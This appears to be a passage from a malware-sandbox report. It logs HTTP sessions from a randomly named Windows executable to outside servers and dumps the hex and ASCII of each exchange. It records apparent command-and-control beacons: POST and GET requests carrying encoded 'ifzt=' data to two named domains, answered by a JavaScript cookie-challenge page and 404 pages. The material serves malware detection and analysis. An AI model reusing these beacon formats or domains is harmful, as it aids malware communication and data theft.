e2 ca 4c f4 b4 d1 15 c0 14 e0 bf bf a5 5d 2c 01 fb 48 43 02 3b 7f f3 f0 19 1a ab e7 bb e9 d2 d3 34 a5 92 2a 42 7c 5c 21 66 7e 08 ed ee [TRUNCATED] Data Ascii: 1b98 +t\|u29Q':,9q.Ox9<&ASZ~Rq<d$"/0[u_r)_?C&D268,iCN=ux[Z1C$F~qa_{9\|.wW>\|i0WKxmq1/.Ki=v1%Lg)b"V9&TE:\gBHYT.\7~sbyjqx.R(L],HC;4*B\|\!f~,&J1q!_MND7<2h$^BIT4FHe T2-4J+0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50047	185.27.134.206	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:12.568989038 CET	524	OUT	GET /vvzz/?ifzt=cUYTrm/9WoUGLtXnEfHvigyvVWYscXEqz9Hmi7WWzB+Eo/kiz1zVNsrH4IZXq93JBsPKcKHGWPOW5+N9njVZg9AZ40ltQReYzymzYn/PGSkLTDv/+fBeI5c=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.canadavinreport.site Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:45:13.851711988 CET	1183	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 25 Nov 2024 08:45:13 GMT Content-Type: text/html Content-Length: 982 Connection: close Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 61 65 73 2e 6a 73 22 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 74 6f 4e 75 6d 62 65 72 73 28 64 29 7b 76 61 72 20 65 3d 5b 5d 3b 64 2e 72 65 70 6c 61 63 65 28 2f 28 2e 2e 29 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 65 2e 70 75 73 68 28 70 61 72 73 65 49 6e 74 28 64 2c 31 36 29 29 7d 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 74 6f 48 65 78 28 29 7b 66 6f 72 28 76 61 72 20 64 3d 5b 5d 2c 64 3d 31 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 41 72 72 61 79 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 61 72 67 75 6d 65 6e 74 73 2c 65 3d 22 22 2c 66 3d 30 3b 66 3c 64 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 65 2b 3d 28 31 36 3e 64 5b 66 5d 3f 22 30 22 3a 22 22 29 2b 64 5b 66 5d 2e 74 6f 53 74 72 69 6e 67 28 31 36 [TRUNCATED] Data Ascii: <html><body><script type="text/javascript" src="/aes.js" ></script><script>function toNumbers(d){var e=[];d.replace(/(..)/g,function(d){e.push(parseInt(d,16))});return e}function toHex(){for(var d=[],d=1==arguments.length&&arguments[0].constructor==Array?arguments[0]:arguments,e="",f=0;f<d.length;f++)e+=(16>d[f]?"0":"")+d[f].toString(16);return e.toLowerCase()}var a=toNumbers("f655ba9d09a112d4968c63579db590b4"),b=toNumbers("98344c2eee86c3994890592585b49f80"),c=toNumbers("06dcab5f8942e5ac4ac00564a9fea9bf");document.cookie="__test="+toHex(slowAES.decrypt(c,2,a,b))+"; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/"; location.href="http://www.canadavinreport.site/vvzz/?ifzt=cUYTrm/9WoUGLtXnEfHvigyvVWYscXEqz9Hmi7WWzB+Eo/kiz1zVNsrH4IZXq93JBsPKcKHGWPOW5+N9njVZg9AZ40ltQReYzymzYn/PGSkLTDv/+fBeI5c=&qX=qP0hoZO0bjg4&i=1";</script><noscript>This site requires Javascript to work, please enable Javascript in your browser or use a browser with Javascript support</noscript></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50048	163.44.185.183	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:20.884491920 CET	801	OUT	POST /9k5s/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.sankan-fukushi.info Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.sankan-fukushi.info Referer: http://www.sankan-fukushi.info/9k5s/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 47 4a 56 42 79 45 71 6c 5a 58 30 2f 56 55 79 4d 6e 64 79 33 67 61 45 4d 56 4e 69 4e 31 7a 31 35 7a 69 76 4a 66 57 69 4c 6d 66 65 50 56 73 58 48 63 77 44 64 44 50 43 66 4d 41 39 6f 54 47 38 74 69 36 49 6a 31 68 74 79 4e 45 65 51 6a 6e 72 31 6b 53 31 6e 45 31 6a 45 70 58 68 6d 39 49 48 48 68 4b 75 53 72 69 47 70 33 54 5a 41 57 4b 62 37 2f 42 31 5a 78 6c 39 5a 50 70 6d 35 64 4e 32 4a 46 63 77 44 38 41 64 76 75 6c 56 52 30 74 64 35 64 4a 71 55 42 5a 6e 4a 4c 47 31 61 44 50 71 61 43 54 42 6e 52 34 31 47 74 4f 49 59 36 31 38 6e 49 4d 7a 6f 49 6e 47 7a 56 6e 41 2f 62 56 62 61 42 77 3d 3d Data Ascii: ifzt=GJVByEqlZX0/VUyMndy3gaEMVNiN1z15zivJfWiLmfePVsXHcwDdDPCfMA9oTG8ti6Ij1htyNEeQjnr1kS1nE1jEpXhm9IHHhKuSriGp3TZAWKb7/B1Zxl9ZPpm5dN2JFcwD8AdvulVR0td5dJqUBZnJLG1aDPqaCTBnR41GtOIY618nIMzoInGzVnA/bVbaBw==
Nov 25, 2024 09:45:22.341161966 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:45:22 GMT Content-Type: text/html Content-Length: 19268 Connection: close Server: Apache Last-Modified: Tue, 25 Jan 2022 07:25:35 GMT Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>404 Error - Not Found</title> <style> html,body,h1,p { margin: 0; padding: 0; } body,html { height: 100%; text-align: center; font-family: -apple-system, BlinkMacSystemFont, YakuHanJP, Helvetica, , "Hiragino Sans", " ProN W3", "Hiragino Kaku Gothic ProN", Verdana, Meiryo, sans-serif; background: #fff; color: #403230; } .container { padding: 60px 30px; } @media screen and (min-width: 640px) { .container { padding: 100px 30px; } } h1 { letter-spacing: 0.05em; font-size: 2.4rem; margin-bottom: 20px; } a { color: #147EF0; } .lol-error-page__caption { text-align: center; font-size: 1rem; [TRUNCATED]
Nov 25, 2024 09:45:22.341178894 CET	231	IN	Data Raw: 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 37 32 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 6d 61 74 69 6f Data Ascii: -weight: 600; line-height: 1.72; } .lol-error-page__information { display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-justify-content: center; -m
Nov 25, 2024 09:45:22.341305017 CET	1236	IN	Data Raw: 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6c 69 67 6e 2d 69 74 Data Ascii: s-flex-pack: center; justify-content: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wr
Nov 25, 2024 09:45:22.341316938 CET	1236	IN	Data Raw: 65 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 36 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 63 33 3b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 6f 72 64 65 72 3a 20 31 3b Data Ascii: e; border-radius: 6px; background: #fc3; -webkit-order: 1; -ms-flex-order: 1; order: 1; } .lol-error-page__information-balloon::after { position: absolute; z-index: 1;
Nov 25, 2024 09:45:22.341327906 CET	1236	IN	Data Raw: 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 61 64 2d 62 61 6e 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 35 70 78 Data Ascii: .lol-error-page__ad-banner { text-align:center; margin: 15px auto 20px; } .lol-error-page__ad-banner-holizontal { width: 300px; height: auto; margin: auto; } @media screen a
Nov 25, 2024 09:45:22.341339111 CET	1236	IN	Data Raw: 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 30 22 20 68 65 69 67 68 74 3d 22 31 34 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 35 20 31 34 38 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 Data Ascii: /svg" width="100" height="142" viewBox="0 0 105 148"><g fill="none"><path fill="#f60" d="M87.7 52.376c-.742-3.291-1.243-6.631-1.5-9.994.943-3.251 4.968-18.858-3.232-30.342-5.627-7.931-15.639-12.04-29.9-12.04h-.329c-14.1 0-24.317 3.988-30.153 1
Nov 25, 2024 09:45:22.341351032 CET	1236	IN	Data Raw: 36 20 31 2e 31 35 33 2e 35 39 34 20 31 2e 38 2e 35 35 37 20 31 2e 34 34 31 2e 33 31 35 20 32 2e 39 31 38 2d 2e 33 35 32 20 33 2e 36 33 36 2d 31 2e 36 34 31 2e 38 35 31 2d 31 2e 39 34 31 20 31 2e 32 39 33 2d 34 2e 30 33 37 20 31 2e 33 2d 36 2e 31 Data Ascii: 6 1.153.594 1.8.557 1.441.315 2.918-.352 3.636-1.641.851-1.941 1.293-4.037 1.3-6.156.258-2.084.09-4.199-.494-6.216-.544-1.376-1.926-2.233-3.4-2.107l-.402-.015z"/><path fill="#f60" d="M51.976 102.7c-.463 0-.908-.179-1.242-.5l-11.044-10.527c-.40
Nov 25, 2024 09:45:22.341363907 CET	1084	IN	Data Raw: 2e 36 32 31 2d 31 2e 36 37 31 2d 2e 38 32 34 2d 31 2e 39 33 32 2d 31 2e 32 34 36 2d 34 2e 30 31 31 2d 31 2e 32 34 31 2d 36 2e 31 31 31 2d 2e 33 38 39 2d 36 2e 37 38 38 20 31 2e 30 33 33 2d 38 2e 31 32 37 20 33 2e 39 36 36 2d 38 2e 32 39 33 68 2e Data Ascii: .621-1.671-.824-1.932-1.246-4.011-1.241-6.111-.389-6.788 1.033-8.127 3.966-8.293h.4c.392-.013.783.049 1.152.181-.185 1.468-.28 2.946-.284 4.425-.01 3.674.495 7.332 1.5 10.866l-.072.061zm26.365 19.475h-.15c-10.071 0-18.9-8.293-22.447-19.566.168
Nov 25, 2024 09:45:22.341376066 CET	1236	IN	Data Raw: 32 2e 35 2d 31 32 2e 37 39 33 2d 31 32 2e 32 32 35 2e 34 30 37 2d 32 36 2e 39 33 35 2d 32 2e 36 39 34 2d 33 34 2e 33 34 32 2d 31 30 2e 34 33 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 36 30 22 20 64 3d 22 4d 33 39 2e 32 35 36 20 34 34 Data Ascii: 2.5-12.793-12.225.407-26.935-2.694-34.342-10.43z"/><path fill="#f60" d="M39.256 44.625c-1.8 0-3.2 1.776-3.217 4.064-.017 2.288 1.392 4.079 3.172 4.094 1.78.015 3.2-1.776 3.217-4.064.017-2.288-1.376-4.079-3.172-4.094zm26.2.12c-1.8 0-3.2 1.776-3
Nov 25, 2024 09:45:22.341391087 CET	1236	IN	Data Raw: 37 2e 32 35 34 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 36 30 22 20 64 3d 22 4d 35 32 2e 33 36 35 20 36 30 2e 37 31 34 63 2d 2e 35 34 38 2e 30 30 31 2d 31 2e 30 36 36 2d 2e 32 34 38 2d 31 2e 34 30 37 2d 2e 36 37 37 6c 2d 32 2e 33 31 39 Data Ascii: 7.254"/><path fill="#f60" d="M52.365 60.714c-.548.001-1.066-.248-1.407-.677l-2.319-2.92c-.455-.579-.514-1.377-.15-2.017 1.141-1.931 1.865-4.079 2.125-6.306-.016-.481.16-.949.489-1.3.494-.533 1.264-.71 1.94-.445.677.265 1.122.918 1.122 1.645-.1
Nov 25, 2024 09:45:22.460918903 CET	1236	IN	Data Raw: 6c 2d 2e 32 30 38 2e 33 63 2d 2e 33 37 39 2e 35 32 33 2d 2e 37 33 31 20 31 2d 31 2e 30 38 34 20 31 2e 34 34 38 6c 2d 2e 34 34 37 2e 35 34 32 63 2d 2e 33 33 35 2e 34 31 31 2d 2e 36 37 34 2e 37 38 34 2d 31 20 31 2e 31 34 32 2d 2e 37 34 2e 37 38 39 Data Ascii: l-.208.3c-.379.523-.731 1-1.084 1.448l-.447.542c-.335.411-.674.784-1 1.142-.74.789-1.536 1.524-2.381 2.2l-.273.218-9.572-.005zm5-10.2c-.405-.001-.801.124-1.133.356-.683.482-1.001 1.333-.8 2.145.023.126.056.25.1.371.312.743 1.041 1.224 1.846 1.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50049	163.44.185.183	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:23.555538893 CET	821	OUT	POST /9k5s/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.sankan-fukushi.info Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.sankan-fukushi.info Referer: http://www.sankan-fukushi.info/9k5s/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 47 4a 56 42 79 45 71 6c 5a 58 30 2f 55 31 43 4d 6f 65 61 33 78 4b 45 4c 5a 74 69 4e 37 54 31 39 7a 69 6a 4a 66 56 75 62 6c 71 32 50 56 4e 6e 48 4f 42 44 64 51 2f 43 66 56 77 39 74 4d 32 38 6d 69 39 42 57 31 67 42 79 4e 48 69 51 6a 6a 76 31 6b 68 64 6d 46 6c 6a 4b 79 6e 68 34 35 49 48 48 68 4b 75 53 72 69 43 44 33 58 31 41 57 2f 4c 37 2b 67 31 65 75 56 39 57 65 70 6d 35 5a 4e 32 4e 46 63 78 35 38 42 51 30 75 6e 64 52 30 6f 35 35 63 59 71 58 61 70 6e 50 46 6d 31 52 53 63 4c 6c 59 77 77 58 62 5a 64 6d 69 50 4d 48 79 54 78 39 5a 39 53 2f 61 6e 69 41 49 67 4a 4c 57 57 6d 54 61 77 65 4c 65 2f 75 43 47 52 67 41 79 34 59 36 35 65 79 69 59 41 63 3d Data Ascii: ifzt=GJVByEqlZX0/U1CMoea3xKELZtiN7T19zijJfVublq2PVNnHOBDdQ/CfVw9tM28mi9BW1gByNHiQjjv1khdmFljKynh45IHHhKuSriCD3X1AW/L7+g1euV9Wepm5ZN2NFcx58BQ0undR0o55cYqXapnPFm1RScLlYwwXbZdmiPMHyTx9Z9S/aniAIgJLWWmTaweLe/uCGRgAy4Y65eyiYAc=
Nov 25, 2024 09:45:24.967727900 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:45:24 GMT Content-Type: text/html Content-Length: 19268 Connection: close Server: Apache Last-Modified: Tue, 25 Jan 2022 07:25:35 GMT Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>404 Error - Not Found</title> <style> html,body,h1,p { margin: 0; padding: 0; } body,html { height: 100%; text-align: center; font-family: -apple-system, BlinkMacSystemFont, YakuHanJP, Helvetica, , "Hiragino Sans", " ProN W3", "Hiragino Kaku Gothic ProN", Verdana, Meiryo, sans-serif; background: #fff; color: #403230; } .container { padding: 60px 30px; } @media screen and (min-width: 640px) { .container { padding: 100px 30px; } } h1 { letter-spacing: 0.05em; font-size: 2.4rem; margin-bottom: 20px; } a { color: #147EF0; } .lol-error-page__caption { text-align: center; font-size: 1rem; [TRUNCATED]
Nov 25, 2024 09:45:24.967768908 CET	231	IN	Data Raw: 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 37 32 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 6d 61 74 69 6f Data Ascii: -weight: 600; line-height: 1.72; } .lol-error-page__information { display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-justify-content: center; -m
Nov 25, 2024 09:45:24.967780113 CET	1236	IN	Data Raw: 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6c 69 67 6e 2d 69 74 Data Ascii: s-flex-pack: center; justify-content: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wr
Nov 25, 2024 09:45:24.967899084 CET	1236	IN	Data Raw: 65 3b 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 36 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 63 33 3b 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 6f 72 64 65 72 3a 20 31 3b Data Ascii: e; border-radius: 6px; background: #fc3; -webkit-order: 1; -ms-flex-order: 1; order: 1; } .lol-error-page__information-balloon::after { position: absolute; z-index: 1;
Nov 25, 2024 09:45:24.967930079 CET	1236	IN	Data Raw: 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 61 64 2d 62 61 6e 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 35 70 78 Data Ascii: .lol-error-page__ad-banner { text-align:center; margin: 15px auto 20px; } .lol-error-page__ad-banner-holizontal { width: 300px; height: auto; margin: auto; } @media screen a
Nov 25, 2024 09:45:24.967943907 CET	1236	IN	Data Raw: 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 30 22 20 68 65 69 67 68 74 3d 22 31 34 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 35 20 31 34 38 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 Data Ascii: /svg" width="100" height="142" viewBox="0 0 105 148"><g fill="none"><path fill="#f60" d="M87.7 52.376c-.742-3.291-1.243-6.631-1.5-9.994.943-3.251 4.968-18.858-3.232-30.342-5.627-7.931-15.639-12.04-29.9-12.04h-.329c-14.1 0-24.317 3.988-30.153 1
Nov 25, 2024 09:45:24.967958927 CET	1236	IN	Data Raw: 36 20 31 2e 31 35 33 2e 35 39 34 20 31 2e 38 2e 35 35 37 20 31 2e 34 34 31 2e 33 31 35 20 32 2e 39 31 38 2d 2e 33 35 32 20 33 2e 36 33 36 2d 31 2e 36 34 31 2e 38 35 31 2d 31 2e 39 34 31 20 31 2e 32 39 33 2d 34 2e 30 33 37 20 31 2e 33 2d 36 2e 31 Data Ascii: 6 1.153.594 1.8.557 1.441.315 2.918-.352 3.636-1.641.851-1.941 1.293-4.037 1.3-6.156.258-2.084.09-4.199-.494-6.216-.544-1.376-1.926-2.233-3.4-2.107l-.402-.015z"/><path fill="#f60" d="M51.976 102.7c-.463 0-.908-.179-1.242-.5l-11.044-10.527c-.40
Nov 25, 2024 09:45:24.967994928 CET	1072	IN	Data Raw: 2e 36 32 31 2d 31 2e 36 37 31 2d 2e 38 32 34 2d 31 2e 39 33 32 2d 31 2e 32 34 36 2d 34 2e 30 31 31 2d 31 2e 32 34 31 2d 36 2e 31 31 31 2d 2e 33 38 39 2d 36 2e 37 38 38 20 31 2e 30 33 33 2d 38 2e 31 32 37 20 33 2e 39 36 36 2d 38 2e 32 39 33 68 2e Data Ascii: .621-1.671-.824-1.932-1.246-4.011-1.241-6.111-.389-6.788 1.033-8.127 3.966-8.293h.4c.392-.013.783.049 1.152.181-.185 1.468-.28 2.946-.284 4.425-.01 3.674.495 7.332 1.5 10.866l-.072.061zm26.365 19.475h-.15c-10.071 0-18.9-8.293-22.447-19.566.168
Nov 25, 2024 09:45:24.968008041 CET	1236	IN	Data Raw: 2d 2e 38 33 36 2d 38 2e 37 33 34 2d 32 2e 35 2d 31 32 2e 37 39 33 2d 31 32 2e 32 32 35 2e 34 30 37 2d 32 36 2e 39 33 35 2d 32 2e 36 39 34 2d 33 34 2e 33 34 32 2d 31 30 2e 34 33 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 36 30 22 20 64 Data Ascii: -.836-8.734-2.5-12.793-12.225.407-26.935-2.694-34.342-10.43z"/><path fill="#f60" d="M39.256 44.625c-1.8 0-3.2 1.776-3.217 4.064-.017 2.288 1.392 4.079 3.172 4.094 1.78.015 3.2-1.776 3.217-4.064.017-2.288-1.376-4.079-3.172-4.094zm26.2.12c-1.8 0
Nov 25, 2024 09:45:24.968019962 CET	1236	IN	Data Raw: 34 2e 32 35 39 20 32 2e 33 39 34 2d 37 2e 32 35 34 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 36 30 22 20 64 3d 22 4d 35 32 2e 33 36 35 20 36 30 2e 37 31 34 63 2d 2e 35 34 38 2e 30 30 31 2d 31 2e 30 36 36 2d 2e 32 34 38 2d 31 2e 34 30 37 Data Ascii: 4.259 2.394-7.254"/><path fill="#f60" d="M52.365 60.714c-.548.001-1.066-.248-1.407-.677l-2.319-2.92c-.455-.579-.514-1.377-.15-2.017 1.141-1.931 1.865-4.079 2.125-6.306-.016-.481.16-.949.489-1.3.494-.533 1.264-.71 1.94-.445.677.265 1.122.918 1.
Nov 25, 2024 09:45:25.087276936 CET	1236	IN	Data Raw: 2d 31 2e 30 39 33 20 31 2e 36 35 37 6c 2d 2e 32 30 38 2e 33 63 2d 2e 33 37 39 2e 35 32 33 2d 2e 37 33 31 20 31 2d 31 2e 30 38 34 20 31 2e 34 34 38 6c 2d 2e 34 34 37 2e 35 34 32 63 2d 2e 33 33 35 2e 34 31 31 2d 2e 36 37 34 2e 37 38 34 2d 31 20 31 Data Ascii: -1.093 1.657l-.208.3c-.379.523-.731 1-1.084 1.448l-.447.542c-.335.411-.674.784-1 1.142-.74.789-1.536 1.524-2.381 2.2l-.273.218-9.572-.005zm5-10.2c-.405-.001-.801.124-1.133.356-.683.482-1.001 1.333-.8 2.145.023.126.056.25.1.371.312.743 1.041 1.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50050	163.44.185.183	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
